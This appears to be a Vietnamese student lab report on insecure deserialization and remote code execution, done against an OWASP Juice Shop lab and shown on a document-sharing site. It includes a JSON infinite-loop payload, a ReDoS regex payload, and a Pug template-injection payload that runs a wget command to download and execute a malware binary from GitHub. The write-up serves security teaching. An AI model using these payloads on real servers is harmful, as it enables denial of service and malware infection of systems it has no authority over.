1. Trang chủ
  2. » Luận Văn - Báo Cáo

Thực Hành An Toàn Ứng Dụng Web Và Cơ Sở Dữ Liệu Broken Authentication And Session Management.pdf

22 0 0
Tài liệu đã được kiểm tra trùng lặp

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

THÔNG TIN TÀI LIỆU

Thông tin cơ bản

Tiêu đề Thực Hành An Toàn Ứng Dụng Web Và Cơ Sở Dữ Liệu Broken Authentication And Session Management
Tác giả Ninh Thị Thu Trang
Người hướng dẫn Nguyễn Quốc Vượng
Trường học Học Viện Công Nghệ Bưu Chính Viễn Thông
Thể loại Thực hành
Năm xuất bản 2024
Thành phố Hà Nội
Định dạng
Số trang 22
Dung lượng 3,16 MB

Các công cụ chuyển đổi và chỉnh sửa cho tài liệu này

Nội dung

Nếu quá trình deserialization không đượcthực hiện an toàn, kẻ tấn công có thể thao túng dữ liệu để thực thi mãđộc hoặc thao túng ứng dụng theo ý mình.. Nếu một ứng dụng thực hiện deseria

Trang 1

HỌC VIỆN CÔNG NGHỆ BƯU CHÍNH VIỄN THÔNG

KHOA AN TOÀN THÔNG TIN

THỰC HÀNH AN TOÀN ỨNG DỤNG WEB VÀ

CƠ SỞ DỮ LIỆU Broken Authentication and Session

Management

Giảng viên hướng dẫn : Ninh Thị Thu Trang

Họ và tên sinh viên : Nguyễn Quốc Vượng

Mã sinh viên : B21DCAT227

Hà Nội – 2024

Trang 2

Mục lục

Trang 3

Bài thực hành: Broken Authentication and Session Management

1 Tìm hiểu lý thuyết

Lý thuyết về Insecure Deserialization

Insecure Deserialization (mã hóa và giải mã không an toàn) là một lỗ

hổng bảo mật nghiêm trọng xuất hiện khi dữ liệu được deserialized (giải

mã từ định dạng lưu trữ về đối tượng ban đầu) mà không có các kiểmtra tính hợp lệ hoặc bảo mật Nếu quá trình deserialization không đượcthực hiện an toàn, kẻ tấn công có thể thao túng dữ liệu để thực thi mãđộc hoặc thao túng ứng dụng theo ý mình

Nếu một ứng dụng thực hiện deserialization mà không kiểm soát dữ liệunguồn, kẻ tấn công có thể đưa vào chuỗi mã hóa đã bị chỉnh sửa, dẫnđến việc:

● Remote Code Execution (RCE): Kẻ tấn công có thể thực thi mã

độc từ xa

● Thay đổi logic ứng dụng: Thay đổi trạng thái hoặc hành vi của

ứng dụng theo cách bất hợp pháp

● Bypass authentication: Kẻ tấn công có thể bypass các cơ chế

xác thực hoặc ủy quyền, giành quyền truy cập trái phép

Các bước tấn công Insecure Deserialization

● Kẻ tấn công tạo payload độc hại: Kẻ tấn công tạo ra chuỗi dữ

liệu đã được serialized với các nội dung độc hại

● Kẻ tấn công gửi payload đến ứng dụng: Payload có thể được

gửi qua yêu cầu HTTP, WebSocket, hoặc bất kỳ kênh nào chophép truyền dữ liệu serialized

Trang 4

● Ứng dụng giải mã dữ liệu: Ứng dụng deserializes dữ liệu mà

không kiểm tra tính hợp lệ, và payload độc hại được thực thi

● Thực hiện hành động bất hợp pháp: Dữ liệu bị giải mã có thể

bao gồm mã độc hoặc các hành động có thể thay đổi hành vi ứngdụng, dẫn đến việc thực thi mã độc hoặc thay đổi dữ liệu

Các loại dữ liệu phổ biến dễ bị ảnh hưởng

● JSON, XML: Các định dạng dữ liệu phổ biến trong việc trao đổi dữ

liệu API thường được sử dụng trong deserialization và có thể dễ bịkhai thác nếu không được kiểm soát kỹ lưỡng

● Binary formats: Đặc biệt là các định dạng nhị phân trong ngôn

ngữ như Java, Python (pickle), PHP, Ruby, có thể gây ra lỗ hổngnếu việc xử lý không an toàn

Phòng chống Insecure Deserialization

Không tin tưởng dữ liệu đầu vào: Không nên tin tưởng dữ liệu

từ người dùng hoặc bất kỳ nguồn bên ngoài nào khi

deserialization

Kiểm tra và xác thực dữ liệu: Trước khi deserializing dữ liệu, cần

có các bước kiểm tra và xác thực dữ liệu chặt chẽ, đảm bảo dữliệu không bị thay đổi hoặc chứa mã độc

Sử dụng các thư viện an toàn: Khi cần phải deserialization, nên

sử dụng các thư viện hoặc framework bảo mật, có khả năng kiểmsoát chặt chẽ quá trình này và phát hiện những chuỗi dữ liệukhông hợp lệ

Sử dụng các lớp sandbox: Chạy quá trình deserialization trong

môi trường kiểm soát hoặc lớp sandbox, hạn chế quyền truy cậpcủa mã có khả năng gây hại

Ký dữ liệu serialized: Để ngăn việc dữ liệu bị thay đổi, dữ liệu

serialized có thể được ký (ví dụ: bằng thuật toán mã hóa) để pháthiện mọi sự thay đổi không hợp lệ

2 Nội dung thực hành

Chuẩn bị lab

- Khởi động lab:

labtainer web-insdes

Trang 5

(Chú ý: sinh viên sử dụng Mã sinh viên của mình để nhập thông tin email người thực hiện bài lab khi có yêu cầu trong terminal, để sử dụng khi chấm điểm.)

- Bài lab cung cấp các tài khoản đã được cấu hình sẵn

admin@juice.org admin123 Admin for web login

4 Cấu hình mạng

● Máy student workstation (web-insdes) được cấu hình có địa chỉ ip

192.168.99.101, còn server (web-insdes-server) có địa chỉ ip

Trang 6

là 192.168.99.100

Các nhiệm vụ

Nhiệm vụ 1: Kiểm tra kết nối giữa 2 máy ảo được cung cấp

- Sử dụng lệnh ping từ máy Student Workstation ping 192.168.99.100

Nhiệm vụ 2: Mở trình duyệt web Firefox

● Ở terminal của máy student gõ lệnh

o firefox &

Trang 7

● Lệnh này sẽ khởi động firefox, sau đó mở địa chỉ ip của server:

o http://192.168.99.100:3000

Nhiệm vụ 3: Mở và cài đặt OWASP ZAP

● Ở terminal của máy student chạy lệnh sau

Trang 8

o owasp-zap &

● Ứng dụng OWASP ZAP được mở và chọn các y/c sau:

o Chọn “yes, I want to persist this session with the namebased on the current timestamp” rồi nhấn start

o Nếu bạn được nhắc “Manage Add-on”, chọn close

Nhiệm vụ 4: Cấu hình để sử dụng OWASP ZAP như proxy

Trang 9

Mục tiêu của nhiệm vụ này là cài đặt OWASP ZAP để hoạt động và chophép bắt gói tin từ máy tính sinh viên trên trình duyệt web-xss Trongphần thiết lập của Firefox, cấu hình theo các bước sau đây:

● Trên Firefox của máy tính sinh viên, mở "Preferences"

● Trong cửa sổ tìm kiếm, gõ "proxy"

● Trong Cài đặt proxy mạng, chọn "Cài đặt"

● Chọn "Cấu hình proxy thủ công"

Trang 10

● Trong phần Proxy HTTP: sử dụng "127.0.0.1" và Cổng "8080".

● Cũng chọn "Sử dụng máy chủ proxy này cho tất cả các giao thức"

● Nhấp vào "ok" để chấp nhận các cài đặt

Cài đặt trên đảm bảo Firefox sử dụng OWASP Zap làm proxy Thực hiệncác bước sau để đảm bảo Firefox đang kết nối và sử dụng ZAP như làproxy:

● Làm mới trang web "192.168.99.100:3000"

● Một cảnh báo bảo mật với thông báo "Kết nối của bạn không antoàn" sẽ được hiển thị

Trang 11

● Phải chấp nhận thông báo cảnh báo này Để làm điều đó, nhấpvào "Advanced".

● Nó sẽ hiển thị chứng chỉ SSL và nên hiển thị

"SEC_ERROR_UNKOWN ISSUE" Bấm "Add Exception" để sửdụng chứng chỉ này

● Một cửa sổ xác nhận sẽ hiện ra, xác nhận ngoại lệ bằng cáchnhấp vào "Confirm Security Exception"

Trang 12

Nhiệm vụ 5: Truy cập các khu vực bị hạn chế

● Mục tiêu của nhiệm vụ này là để xem quyền truy cập nào đượcphép và để xác định liệu bạn có thể truy cập vào một phần bị hạnchế, nếu bạn truy cập được thì sẽ được phép làm bất cứ điều gì.Theo OWASP WSTG-ATHZ-01, một trong những việc đầu tiên khixem một trang web là xem bạn có quyền truy cập vào những URL

và thư mục nào Tiến hành khảo sát trang web cơ bản sử dụngtrình thu thập dữ liệu trang web là phương pháp ưa thích để thuthập dữ liệu trên trang web

● Ví dụ 1: Khảo sát trang web

● Phần sau đây sẽ cho phép OWASP Zap thu thập dữ liệu trangweb để xác định xem đường dẫn nào có thể truy cập được

o Mở OWASP Zap và thực hiện quét trang web trên địa chỉ IP:192.168.99.100:3000

o Bạn có thấy bất kỳ liên kết nào đến các trang quản trịkhông?

o Vui lòng lưu kết quả quét của bạn từ OWASP Zap, lưu nóvào màn hình nền và đặt tên cho nó “traversal.html” nếutraversal không phải là một tùy chọn, hãy lưu toàn bộ báocáo

Trang 13

Nhiệm vụ 6: Remote Code Execution – Sử dụng POST và JSON

● Mục tiêu của nhiệm vụ này là buộc máy chủ thực thi mã bằng cách

sử dụng POST và JSON Dựa theo OWASP WSTG 4.7.11.2 đểkiểm tra các lỗ hổng bao gồm remote file và code inclusion File vàCode inclusion cho phép kẻ tấn công chèn file và đoạn code,thường khai thác tính năng “include tệp động” thực hiện trong ứngdụng mục tiêu Lỗ hổng xảy ra do việc sử dụng thông tin đầu vào

do người dùng cung cấp mà không được xác thực hợp lệ

● Thực hiện các bước bên dưới để thực hiện thực thi mã từ xa

o Sau khi xem xét các URL được tìm thấy trong Nhiệm vụ 4,bạn sẽ tìm thấy API Swagger theo tài liệu được lưu trữ tạihttps://192.168.99.100:3000/api-docs mô tả API B2B

Trang 14

o API này cho phép POST các đơn hàng trong đó các dòngđơn hàng có thể được gửi dưới dạng JSON ( orderLines ) vàcòn dưới dạng Chuỗi ( orderLinesData ).

o Ví dụ đã cho về orderLinesDate chỉ ra rằng Chuỗi này có thểđược phép chứa JSON tùy ý: [{"productId": 12,"quantity":10000,"customerReference": ["PO0000001.2",

"SM20180105|042"],"couponCode": "pes[Bh.u*t"}, ]

o Nhấp vào nút Try và không thay đổi bất cứ điều gì, nhấp vàoThực thi để xem API có hoạt động hay không và cách thứchoạt động Điều này sẽ khiến bạn gặp lỗi 401 Unauthorized

o Quay lại ứng dụng, đăng nhập với tư cách người dùng bất

kỳ và sao chép Token của bạn từ Authorization Bearerheader sử dụng DevTools của trình duyệt web

Trang 15

o Quay lại

https://192.168.99.100:3000/api-docs/#/Order/post_ordersnhấp vào Authorize và paste Token vào form Value

o Nhấp vào Try và Execute để xem response 200 OK

o Quá trình insecure JSON deserialization sẽ thực thi bất kỳlệnh gọi hàm nào được xác định trong chuỗiJSON, vì vậy tảitrọng có thể có cho một cuộc tấn công DoS sẽ là một vòng

Trang 16

lặp vô tận Thay code ví dụ với {"orderLinesData": "(functiondos() { while(true); })()"} trong trường Request Body Nhấpvào execute.

o Máy chủ sẽ phản hồi với 200 OK sau khoảng 2 giây

o Nếu yêu cầu của bạn tạo vòng lặp vô hạn thành công, thửthách sẽ được đánh dấu là giải quyết

Nhiệm vụ 7: Remote Code Execution – sử dụng XML

Trang 17

● Mục tiêu của nhiệm vụ này là buộc máy chủ thực thi mã bằng XML

● Thực hiện các bước bên dưới để thực hiện thực thi mã từ xa

o Sau khi xem xét các URL được tìm thấy trong Nhiệm vụ 4,bạn sẽ tìm thấy API Swagger theo tài liệu được lưu trữ tạihttps://192.168.99.100:3000/api-docs mô tả API B2B

o API này cho phép POST các đơn hàng trong đó các dòngđơn hàng có thể được gửi dưới dạng JSON ( orderLines ) vàcòn dưới dạng Chuỗi ( orderLinesData )

o Ví dụ đã cho về orderLinesDate chỉ ra rằng Chuỗi này có thểđược phép chứa JSON tùy ý: [{"productId": 12,"quantity":10000,"customerReference": ["PO0000001.2",

"SM20180105|042"],"couponCode": "pes[Bh.u*t"}, ]

o Nhấp vào nút Try và không thay đổi bất cứ điều gì, nhấp vàoThực thi để xem API có hoạt động hay không và cách thứchoạt động Điều này sẽ khiến bạn gặp lỗi 401 Unauthorized

o Quay lại ứng dụng, đăng nhập với tư cách người dùng bất

kỳ và sao chép Token của bạn từ Authorization Bearerheader sử dụng DevTools của trình duyệt web

o Quay lại

https://192.168.99.100:3000/api-docs/#/Order/post_ordersnhấp vào Authorize và paste Token vào form Value

o Nhấp vào Try và Execute để xem response 200 OK

o Quá trình insecure JSON deserialization sẽ thực thi bất kỳlệnh gọi hàm nào được xác định trong chuỗiJSON, vì vậy tảitrọng có thể có cho một cuộc tấn công DoS sẽ là một vònglặp vô tận Thay code ví dụ với {"orderLinesData":

"/((a+)+)b/.test('aaaaaaaaaaaaaaaaaaaaaaaaaaaaa')"} trongtrường Request Body Nhấp vào execute Việc này sẽ kíchhoạt biểu thức chính quy sau khi được thực thi

Trang 18

o Máy chủ cuối cùng sẽ phản hồi với trạng thái 503 ServiceUnavailable.

Nhiệm vụ 8: Thực thi code bất kì

● Mục tiêu của nhiệm vụ này là buộc máy chủ thực thi code tùy ý

● Sử dụng các bước được liệt kê bên dưới để thực thi mã tùy ýnhằm lây nhiễm phần mềm độc hại vào máy chủ

Trang 19

o Xem xét Nhiệm vụ 4.5 sẽ tiết lộ một thư mục con của ftptại: https://192.168.99.100:3000/ftp/quarantine

o Mục tiêu của bạn là RCE để làm cho máy chủ tải xuống vàthực thi phiên bản phần mềm độc hại cho hệ điều hành máychủ, vì vậy trên Linux bạn có thể muốn chạy, hãy gõ lệnhsau:

o wget -O

malware https://github.com/J12934/juicymalware/blob/m aster/juicy_malware_linux_amd_64?raw=true && chmod +x malware && /malware

o Nhận ra rằng https://192.168.99.100:3000/profile không phải

là Angular Có nghĩa là trang là được viết bằng Pug, đây làmột Template engine và do đó hoàn toàn phù hợp với SSTI

o Đặt username của bạn thành 1+1 và nhấp vào Đặt tên ngườidùng Tên người dùng của bạn sẽ chỉ được hiển thị là 1+1avatar

Trang 20

o Thử template Injection với Pug, đặt Tên người dùng thành

#{1+1} và nhấp vào Đặt tên người dùng tên người dùng bâygiờ sẽ được hiển thị là 2 dưới ảnh hồ sơ!

● Tạo một payload sẽ lạm dụng việc thiếu đóng gói đối tượngglobal.process của JavaScript để tải động một thư viện cho phépbạn sinh ra một tiến trình trên máy chủ mà sau đó sẽ tải xuống vàthực thi phần mềm độc hại Payload sẽ giống như sau:

Trang 21

● #{global.process.mainModule.require('child_process').exec

('wget -O malware

https://github.com/J12934/juicymalware/blob/master/juicy_mal ware_linux_amd_64?raw=true && chmod +x malware && /malware')}

Kiểm tra trong OWASP:

Trang 22

3 Kết luận:

Insecure Deserialization:

Trong bài thực hành này, chúng ta đã tìm hiểu về việc khai thác lỗ hổng

Insecure Deserialization, một lỗ hổng rất nguy hiểm nếu không được

xử lý cẩn thận

Bài học chính rút ra từ bài thực hành:

1 Hiểu rõ quá trình deserialization: Quá trình này có thể dễ bị khai

thác nếu không có các kiểm tra tính hợp lệ Kẻ tấn công có thể lợidụng để thực hiện các cuộc tấn công như Remote Code Execution(RCE), bypass authentication, hoặc thay đổi logic của ứng dụng

2 Tầm quan trọng của bảo mật dữ liệu đầu vào: Chúng ta cần

hiểu rõ rằng không được tin tưởng bất kỳ dữ liệu nào từ bênngoài, đặc biệt là dữ liệu được truyền qua các giao thức nhưHTTP, JSON, XML

3 Thực hiện kiểm tra chặt chẽ: Việc kiểm tra và xác thực dữ liệu

trước khi deserialization là rất quan trọng Điều này ngăn kẻ tấncông truyền tải dữ liệu độc hại vào hệ thống

4 Sử dụng các phương pháp phòng chống: Sử dụng ký số cho

dữ liệu serialized, sử dụng các thư viện bảo mật, và chạy

deserialization trong môi trường an toàn đều là những phươngpháp hữu hiệu để phòng ngừa lỗ hổng này

Qua bài thực hành này, chúng ta đã nhận ra rằng Insecure

Deserialization không chỉ gây thiệt hại cho hệ thống mà còn tạo ra

nhiều cơ hội cho kẻ tấn công lợi dụng các điểm yếu trong hệ thống nếukhông được bảo vệ đúng cách Việc áp dụng các biện pháp bảo mậtchặt chẽ trong quá trình deserialization là cần thiết để giảm thiểu rủi ro

và bảo vệ hệ thống

Ngày đăng: 14/02/2025, 16:28

TÀI LIỆU CÙNG NGƯỜI DÙNG

TÀI LIỆU LIÊN QUAN

🧩 Sản phẩm bạn có thể quan tâm

w